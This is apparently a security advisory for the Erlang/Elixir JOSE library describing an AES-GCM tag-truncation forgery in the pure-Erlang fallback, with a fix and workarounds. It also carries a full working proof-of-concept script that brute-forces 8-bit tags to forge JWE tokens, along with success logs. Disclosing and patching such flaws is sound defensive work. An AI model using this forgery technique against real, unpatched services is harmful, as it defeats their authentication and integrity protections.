GCM auth tag length is attacker-controlled, allowing tag truncation / forgery
Description
The pure-Erlang AES-GCM fallback in jose_jwa_aes lets the caller (and therefore an attacker who controls a JWE token) choose the authentication tag length. Because the code verifies only as many bits of the real 128-bit tag as the attacker supplied, an attacker can truncate the tag to 8 bits and forge a ciphertext that the public JOSE.JWE.block_decrypt/2 path accepts as authentic without knowing the key. Forgery resistance drops from 2⁻¹²⁸ to 2⁻⁸ per attempt, so a single accepted forgery is guaranteed within 256 tries.
Details
The GCM decrypt clause in src/jwa/jose_jwa_aes.erl (lines 46–56) guards the incoming tag with only is_binary(CipherTag) — there is no check on its length. The verification then happens in gcm_block_decrypt/6, which derives the number of compared bits from the attacker-supplied tag itself:
TBits = bit_size(T),
<< TPrime:TBits/bitstring, _/bitstring >> = crypto:exor(GHASH, EKY0),
case jose_jwa:constant_time_compare(T, TPrime) of ...TPrime is the correct 128-bit tag truncated to TBits, and only those TBits are compared. If the attacker sends an 8-bit CipherTag, only 8 bits of the authentication tag are ever checked. Exactly one of the 256 possible single-byte tags will match the truncated real tag, so brute-forcing all 256 values guarantees an accepted forgery. This is far below the minimum tag length required by NIST SP 800-38D.
constant_time_compare/2 is used correctly, so this is not a timing issue — the sole defect is the missing lower bound on the tag length before verification. As a secondary effect of the same missing check, supplying a tag longer than 128 bits makes the << TPrime:TBits/bitstring, _/bitstring >> binding fail with a badmatch, crashing the calling process.
The fix is to reject tags that are not the full 128 bits (or at least a NIST-approved minimum) in the aes_gcm block_decrypt/4 guard, e.g. andalso bit_size(CipherTag) =:= 128, so verification only runs on full-length tags.
This applies anywhere JOSE routes GCM through this fallback — deployments where the Erlang/OTP crypto NIF does not expose native AES-GCM (e.g. FIPS builds, or stripped/older OTP), which is exactly when jose_jwa_aes is used instead of :crypto.
PoC
The script encodes an outside attacker against a victim service that decrypts attacker-supplied JWE compact tokens with its own secret key via the documented public entry point JOSE.JWE.block_decrypt/2. The attacker never sees the key.
- Environment setup (not the attack): The script points the cipher-dispatch ETS entry at the fallback module to reproduce a deployment without native AES-GCM:
:ets.insert(:jose_jwa, {{:cipher, {:aes_gcm, 256}}, {:jose_jwa_aes, {:aes_gcm, 256}}}). On a FIPS/stripped-OTP host this happens automatically; the script just forces that condition. It prints the active dispatch module to confirm the fallback is in use. - Victim: a random 256-bit key wrapped as an
octJWK, decryptingdir/A256GCMcompact tokens. - Attacker: builds forged compact tokens
#{protected}..#{iv}.#{forged_ct}.#{b64(tag)}with a chosen ciphertext and no knowledge of the key. Theprotectedheader ({"alg":"dir","enc":"A256GCM"}) is the AAD. - Mechanism: because
gcm_block_decrypt/6verifies onlybit_size(CipherTag)bits, truncating the tag to a single byte means only 8 bits are checked. The script first runs a control: 256 forged tokens with full 16-byte (128-bit) random tags, all of which are correctly:rejected. It then runs the attack: iterating the 256 possible single-byte tags<<byte>>and feeding each toJOSE.JWE.block_decrypt/2. - What proves the bug: exactly one 8-bit tag is accepted — the script prints
Forged token ACCEPTED with 8-bit tag, the number of plaintext bytes the victim returned for the attacker-chosen ciphertext, and the wall time (:timer.tc, ≤256 tries) to forge. It printsVERIFIEDonly when the 128-bit control forgeries were all rejected while the 8-bit forgery succeeded, confirming the acceptance is due to tag truncation and not a broken environment.
The full PoC script is attached below under "Scripts and Logs" so the finding can be reproduced directly.
Impact
This is an authentication-tag forgery / integrity-bypass vulnerability in AES-GCM decryption. Any service that uses JOSE to decrypt attacker-influenced JWE tokens is affected whenever GCM is handled by the jose_jwa_aes pure-Erlang fallback (deployments without a native AES-GCM crypto NIF, such as FIPS or stripped/older OTP builds). An unauthenticated attacker who can submit ciphertext objects to the decrypt path can truncate the GCM tag to as little as 8 bits, reducing forgery resistance to 2⁻⁸ and reliably getting forged ciphertext accepted as authentic without the key — defeating the integrity guarantee GCM is supposed to provide. The same missing length check also allows an over-length tag to crash the decrypting process.
Patches
Fixed in 1.11.13. AEAD decryption (AES-GCM, ChaCha20-Poly1305 and XChaCha20-Poly1305) now rejects any authentication tag that is not exactly 128 bits before dispatching to a crypto provider, and the pure Erlang AES-GCM fallback applies the same check. This covers content encryption (A128GCM, A192GCM, A256GCM, C20P, XC20P) and AEAD key wrapping (A128GCMKW, A192GCMKW, A256GCMKW, C20PKW, XC20PKW).
Workarounds
If you cannot upgrade, check tag lengths before decrypting: base64url-decode the authentication tag (the fifth segment of a compact JWE, or tag from jose_jwe:expand/1 / JOSE.JWE.expand/1) and reject the token unless it is exactly 16 bytes. For the AEAD key wrapping algorithms, apply the same check to the tag header parameter.
Scripts and Logs
# Verifies: GCM auth tag length is attacker-controlled, allowing tag truncation / forgery
#
# Threat model (outside attacker):
# A victim service decrypts attacker-supplied JWE compact tokens with its own
# secret key using JOSE.JWE.block_decrypt/2 (the documented public entry point).
# The attacker never sees the key. On any deployment where the Erlang/OTP crypto
# NIF does not expose native AES-GCM (e.g. FIPS builds, stripped/old OTP), JOSE
# routes GCM through its pure-Erlang fallback `jose_jwa_aes`. We reproduce that
# deployment condition by pointing the cipher-dispatch ETS entry at the fallback
# module (this is environment setup, NOT the attack) and then attack purely from
# the outside via forged compact tokens.
#
# The fallback's `{aes_gcm, Bits}` decrypt clause guards the tag only with
# `is_binary(CipherTag)` and then verifies only `bit_size(CipherTag)` bits of the
# real 128-bit tag. An attacker who truncates the tag to 8 bits reduces forgery
# resistance to 2^-8: brute-forcing the 256 possible single-byte tags is guaranteed
# to get one forged ciphertext ACCEPTED as authentic without knowing the key.
#
# Measurement: CPU/wall time (:timer.tc) for the attacker to forge one accepted
# token via the 8-bit-tag brute force.
Mix.install([{:jose, "1.11.12"}])
{:ok, _} = Application.ensure_all_started(:jose)
b64 = fn bin -> Base.url_encode64(bin, padding: false) end
# --- Environment: this host has no native AES-GCM, so JOSE uses the fallback ---
# (Represents a FIPS/stripped-OTP deployment. The attack below is unchanged.)
:ets.insert(:jose_jwa, {{:cipher, {:aes_gcm, 256}}, {:jose_jwa_aes, {:aes_gcm, 256}}})
{fallback_mod, _} = :ets.lookup_element(:jose_jwa, {:cipher, {:aes_gcm, 256}}, 2)
IO.puts("GCM dispatch module: #{inspect(fallback_mod)} (fallback active)")
# --- Victim: holds a secret 256-bit key, decrypts A256GCM (dir) compact tokens ---
victim_key = :crypto.strong_rand_bytes(32)
victim_jwk = JOSE.JWK.from_oct(victim_key)
# --- Attacker: crafts a forged token with chosen ciphertext, without the key ---
protected = b64.(~s({"alg":"dir","enc":"A256GCM"})) # AAD for compact JWE
iv = b64.(:crypto.strong_rand_bytes(12))
forged_ct = b64.("forged-ciphertext-attacker-controlled")
build_token = fn tag -> "#{protected}..#{iv}.#{forged_ct}.#{b64.(tag)}" end
accepted? = fn token ->
case JOSE.JWE.block_decrypt(victim_jwk, token) do
{plaintext, _jwe} when is_binary(plaintext) -> {:ok, plaintext}
_ -> :rejected
end
end
# Control: a full 16-byte (128-bit) forged tag is rejected as it should be.
control =
Enum.reduce_while(1..256, :rejected, fn _, _ ->
case accepted?.(build_token.(:crypto.strong_rand_bytes(16))) do
{:ok, _} -> {:halt, :accepted}
:rejected -> {:cont, :rejected}
end
end)
IO.puts("Control (128-bit forged tags, 256 tries): #{control}")
# Attack: truncate the tag to 8 bits. Only 8 bits are verified, so exactly one of
# the 256 possible single-byte tags is accepted. Brute-force them.
{elapsed_us, {attempts, result}} =
:timer.tc(fn ->
Enum.reduce_while(0..255, {0, :rejected}, fn byte, {n, _} ->
case accepted?.(build_token.(<<byte>>)) do
{:ok, pt} -> {:halt, {n + 1, {:forged, byte, pt}}}
:rejected -> {:cont, {n + 1, :rejected}}
end
end)
end)
elapsed_ms = elapsed_us / 1000
case result do
{:forged, byte, pt} ->
IO.puts("Forged token ACCEPTED with 8-bit tag <<#{byte}>> after #{attempts} attempt(s)")
IO.puts("Victim returned #{byte_size(pt)} bytes of plaintext for attacker-chosen ciphertext")
IO.puts("Time to forge: #{Float.round(elapsed_ms, 3)} ms (<=256 tries => 2^-8 resistance)")
if control == :rejected do
IO.puts("VERIFIED: GCM tag length is attacker-controlled; 8-bit tag truncation forges a token accepted by the public JWE decrypt path (128-bit tags correctly rejected).")
else
IO.puts("NOT VERIFIED: control 128-bit forgery unexpectedly succeeded; environment invalid.")
end
:rejected ->
IO.puts("NOT VERIFIED: no 8-bit tag was accepted by the JWE decrypt path.")
end
Logs
GCM dispatch module: :jose_jwa_aes (fallback active)
Control (128-bit forged tags, 256 tries): rejected
Forged token ACCEPTED with 8-bit tag <<18>> after 19 attempt(s)
Victim returned 37 bytes of plaintext for attacker-chosen ciphertext
Time to forge: 26.302 ms (<=256 tries => 2^-8 resistance)
VERIFIED: GCM tag length is attacker-controlled; 8-bit tag truncation forges a token accepted by the public JWE decrypt path (128-bit tags correctly rejected).